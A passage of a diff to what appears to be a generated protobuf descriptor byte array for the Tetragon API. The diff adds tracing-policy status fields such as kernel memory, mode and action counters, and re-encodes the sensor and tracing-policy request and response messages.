0x61, 0x67, 0x6f, 0x6e, 0x2f, 0x65, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x17, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2f, 0x74, + 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x14, 0x0a, + 0x12, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x73, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x22, 0x5c, 0x0a, 0x0c, 0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x53, 0x74, 0x61, + 0x74, 0x75, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x65, 0x6e, 0x61, 0x62, 0x6c, + 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x65, 0x6e, 0x61, 0x62, 0x6c, 0x65, + 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x22, 0x47, 0x0a, 0x13, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x73, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x30, 0x0a, 0x07, 0x73, 0x65, 0x6e, 0x73, + 0x6f, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x74, 0x65, 0x74, 0x72, + 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x53, 0x74, 0x61, 0x74, 0x75, + 0x73, 0x52, 0x07, 0x73, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x73, 0x22, 0x1c, 0x0a, 0x1a, 0x4c, 0x69, + 0x73, 0x74, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x69, 0x65, + 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xcb, 0x02, 0x0a, 0x1b, 0x54, 0x72, 0x61, + 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x65, 0x72, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x6f, 0x73, 0x74, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x70, 0x6f, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, + 0x73, 0x69, 0x67, 0x6e, 0x61, 0x6c, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x73, 0x69, + 0x67, 0x6e, 0x61, 0x6c, 0x12, 0x25, 0x0a, 0x0e, 0x6d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x5f, + 0x73, 0x69, 0x67, 0x6e, 0x61, 0x6c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x6d, 0x6f, + 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x6f, + 0x76, 0x65, 0x72, 0x72, 0x69, 0x64, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x6f, + 0x76, 0x65, 0x72, 0x72, 0x69, 0x64, 0x65, 0x12, 0x29, 0x0a, 0x10, 0x6d, 0x6f, 0x6e, 0x69, 0x74, + 0x6f, 0x72, 0x5f, 0x6f, 0x76, 0x65, 0x72, 0x72, 0x69, 0x64, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x0f, 0x6d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x4f, 0x76, 0x65, 0x72, 0x72, 0x69, + 0x64, 0x65, 0x12, 0x27, 0x0a, 0x0f, 0x6e, 0x6f, 0x74, 0x69, 0x66, 0x79, 0x5f, 0x65, 0x6e, 0x66, + 0x6f, 0x72, 0x63, 0x65, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0e, 0x6e, 0x6f, 0x74, + 0x69, 0x66, 0x79, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x72, 0x12, 0x36, 0x0a, 0x17, 0x6d, + 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x5f, 0x6e, 0x6f, 0x74, 0x69, 0x66, 0x79, 0x5f, 0x65, 0x6e, + 0x66, 0x6f, 0x72, 0x63, 0x65, 0x72, 0x18, 0x07, 0x20, 0x01, 0x28, 0x04, 0x52, 0x15, 0x6d, 0x6f, + 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x4e, 0x6f, 0x74, 0x69, 0x66, 0x79, 0x45, 0x6e, 0x66, 0x6f, 0x72, + 0x63, 0x65, 0x72, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x1f, 0x0a, 0x0b, 0x6d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, + 0x5f, 0x73, 0x65, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x6d, 0x6f, 0x6e, 0x69, + 0x74, 0x6f, 0x72, 0x53, 0x65, 0x74, 0x22, 0x64, 0x0a, 0x12, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, + 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x53, 0x74, 0x61, 0x74, 0x73, 0x12, 0x4e, 0x0a, 0x0f, + 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x5f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x65, 0x72, 0x73, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x25, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, + 0x2e, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x41, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x65, 0x72, 0x73, 0x52, 0x0e, 0x61, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x65, 0x72, 0x73, 0x22, 0xae, 0x03, 0x0a, + 0x13, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x53, 0x74, + 0x61, 0x74, 0x75, 0x73, 0x12, 0x0e, 0x0a, 0x02, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x02, 0x69, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x6e, 0x61, 0x6d, 0x65, - 0x73, 0x70, 0x61, 0x63, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x6e, 0x61, 0x6d, - 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x22, 0x1d, 0x0a, 0x1b, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, - 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4e, 0x0a, 0x1a, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x54, - 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x6e, 0x61, 0x6d, 0x65, 0x73, - 0x70, 0x61, 0x63, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x6e, 0x61, 0x6d, 0x65, - 0x73, 0x70, 0x61, 0x63, 0x65, 0x22, 0x1d, 0x0a, 0x1b, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x54, - 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4f, 0x0a, 0x1b, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x54, + 0x73, 0x70, 0x61, 0x63, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x6e, 0x61, 0x6d, + 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x69, 0x6e, 0x66, 0x6f, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x69, 0x6e, 0x66, 0x6f, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x65, + 0x6e, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x73, 0x65, 0x6e, + 0x73, 0x6f, 0x72, 0x73, 0x12, 0x1c, 0x0a, 0x07, 0x65, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, + 0x06, 0x20, 0x01, 0x28, 0x08, 0x42, 0x02, 0x18, 0x01, 0x52, 0x07, 0x65, 0x6e, 0x61, 0x62, 0x6c, + 0x65, 0x64, 0x12, 0x1b, 0x0a, 0x09, 0x66, 0x69, 0x6c, 0x74, 0x65, 0x72, 0x5f, 0x69, 0x64, 0x18, + 0x07, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x66, 0x69, 0x6c, 0x74, 0x65, 0x72, 0x49, 0x64, 0x12, + 0x14, 0x0a, 0x05, 0x65, 0x72, 0x72, 0x6f, 0x72, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, + 0x65, 0x72, 0x72, 0x6f, 0x72, 0x12, 0x32, 0x0a, 0x05, 0x73, 0x74, 0x61, 0x74, 0x65, 0x18, 0x09, + 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1c, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, + 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x53, 0x74, 0x61, + 0x74, 0x65, 0x52, 0x05, 0x73, 0x74, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x0a, 0x13, 0x6b, 0x65, 0x72, + 0x6e, 0x65, 0x6c, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x5f, 0x62, 0x79, 0x74, 0x65, 0x73, + 0x18, 0x0a, 0x20, 0x01, 0x28, 0x04, 0x52, 0x11, 0x6b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4d, 0x65, + 0x6d, 0x6f, 0x72, 0x79, 0x42, 0x79, 0x74, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x04, 0x6d, 0x6f, 0x64, + 0x65, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1b, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, + 0x6f, 0x6e, 0x2e, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, + 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x12, 0x37, 0x0a, 0x05, 0x73, 0x74, + 0x61, 0x74, 0x73, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x74, 0x65, 0x74, 0x72, + 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, + 0x63, 0x79, 0x53, 0x74, 0x61, 0x74, 0x73, 0x48, 0x00, 0x52, 0x05, 0x73, 0x74, 0x61, 0x74, 0x73, + 0x88, 0x01, 0x01, 0x42, 0x08, 0x0a, 0x06, 0x5f, 0x73, 0x74, 0x61, 0x74, 0x73, 0x22, 0x58, 0x0a, + 0x1b, 0x4c, 0x69, 0x73, 0x74, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, + 0x63, 0x69, 0x65, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x39, 0x0a, 0x08, + 0x70, 0x6f, 0x6c, 0x69, 0x63, 0x69, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, + 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, + 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x52, 0x08, 0x70, + 0x6f, 0x6c, 0x69, 0x63, 0x69, 0x65, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x41, 0x64, 0x64, 0x54, 0x72, + 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x79, 0x61, 0x6d, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x79, 0x61, 0x6d, 0x6c, 0x22, 0x1a, 0x0a, 0x18, 0x41, 0x64, 0x64, 0x54, 0x72, 0x61, + 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x4e, 0x0a, 0x1a, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x54, 0x72, 0x61, 0x63, + 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x6e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x6e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, + 0x63, 0x65, 0x22, 0x1d, 0x0a, 0x1b, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x54, 0x72, 0x61, 0x63, + 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x4e, 0x0a, 0x1a, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x72, 0x61, 0x63, 0x69, + 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, + 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x6e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x6e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, + 0x65, 0x22, 0x1d, 0x0a, 0x1b, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x72, 0x61, 0x63, 0x69, + 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x4f, 0x0a, 0x1b, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x72, 0x61, 0x63, 0x69, + 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, + 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x6e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x6e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, + 0x65, 0x22, 0x1e, 0x0a, 0x1c, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x72, 0x61, 0x63, + 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0xb8, 0x01, 0x0a, 0x1d, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x6e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x6e, 0x61, 0x6d, 0x65, - 0x73, 0x70, 0x61, 0x63, 0x65, 0x22, 0x1e, 0x0a, 0x1c, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, - 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xb8, 0x01, 0x0a, 0x1d, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x75, 0x72, 0x65, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x6e, - 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, - 0x6e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x12, 0x1b, 0x0a, 0x06, 0x65, 0x6e, 0x61, - 0x62, 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x06, 0x65, 0x6e, 0x61, - 0x62, 0x6c, 0x65, 0x88, 0x01, 0x01, 0x12, 0x34, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1b, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, - 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x4d, 0x6f, 0x64, - 0x65, 0x48, 0x01, 0x52, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x88, 0x01, 0x01, 0x42, 0x09, 0x0a, 0x07, - 0x5f, 0x65, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x07, 0x0a, 0x05, 0x5f, 0x6d, 0x6f, 0x64, 0x65, - 0x22, 0x20, 0x0a, 0x1e, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x54, 0x72, 0x61, - 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x29, 0x0a, 0x13, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x6e, 0x73, - 0x6f, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x16, 0x0a, - 0x14, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x0a, 0x13, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x53, + 0x73, 0x70, 0x61, 0x63, 0x65, 0x12, 0x1b, 0x0a, 0x06, 0x65, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x06, 0x65, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x88, + 0x01, 0x01, 0x12, 0x34, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0e, + 0x32, 0x1b, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x54, 0x72, 0x61, 0x63, + 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x4d, 0x6f, 0x64, 0x65, 0x48, 0x01, 0x52, + 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x88, 0x01, 0x01, 0x42, 0x09, 0x0a, 0x07, 0x5f, 0x65, 0x6e, 0x61, + 0x62, 0x6c, 0x65, 0x42, 0x07, 0x0a, 0x05, 0x5f, 0x6d, 0x6f, 0x64, 0x65, 0x22, 0x20, 0x0a, 0x1e, + 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, + 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, + 0x0a, 0x13, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x16, 0x0a, 0x14, 0x52, 0x65, 0x6d, + 0x6f, 0x76, 0x65, 0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x29, 0x0a, 0x13, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x6e, 0x73, 0x6f, + 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x16, 0x0a, 0x14, + 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x0a, 0x14, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x22, 0x16, 0x0a, 0x14, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x0a, 0x14, 0x44, 0x69, 0x73, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, 0x15, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x53, - 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x0a, - 0x18, 0x47, 0x65, 0x74, 0x53, 0x74, 0x61, 0x63, 0x6b, 0x54, 0x72, 0x61, 0x63, 0x65, 0x54, 0x72, - 0x65, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x49, 0x0a, - 0x19, 0x47, 0x65, 0x74, 0x53, 0x74, 0x61, 0x63, 0x6b, 0x54, 0x72, 0x61, 0x63, 0x65, 0x54, 0x72, - 0x65, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x2c, 0x0a, 0x04, 0x72, 0x6f, - 0x6f, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, - 0x67, 0x6f, 0x6e, 0x2e, 0x53, 0x74, 0x61, 0x63, 0x6b, 0x54, 0x72, 0x61, 0x63, 0x65, 0x4e, 0x6f, - 0x64, 0x65, 0x52, 0x04, 0x72, 0x6f, 0x6f, 0x74, 0x22, 0x13, 0x0a, 0x11, 0x47, 0x65, 0x74, 0x56, - 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x2e, 0x0a, - 0x12, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 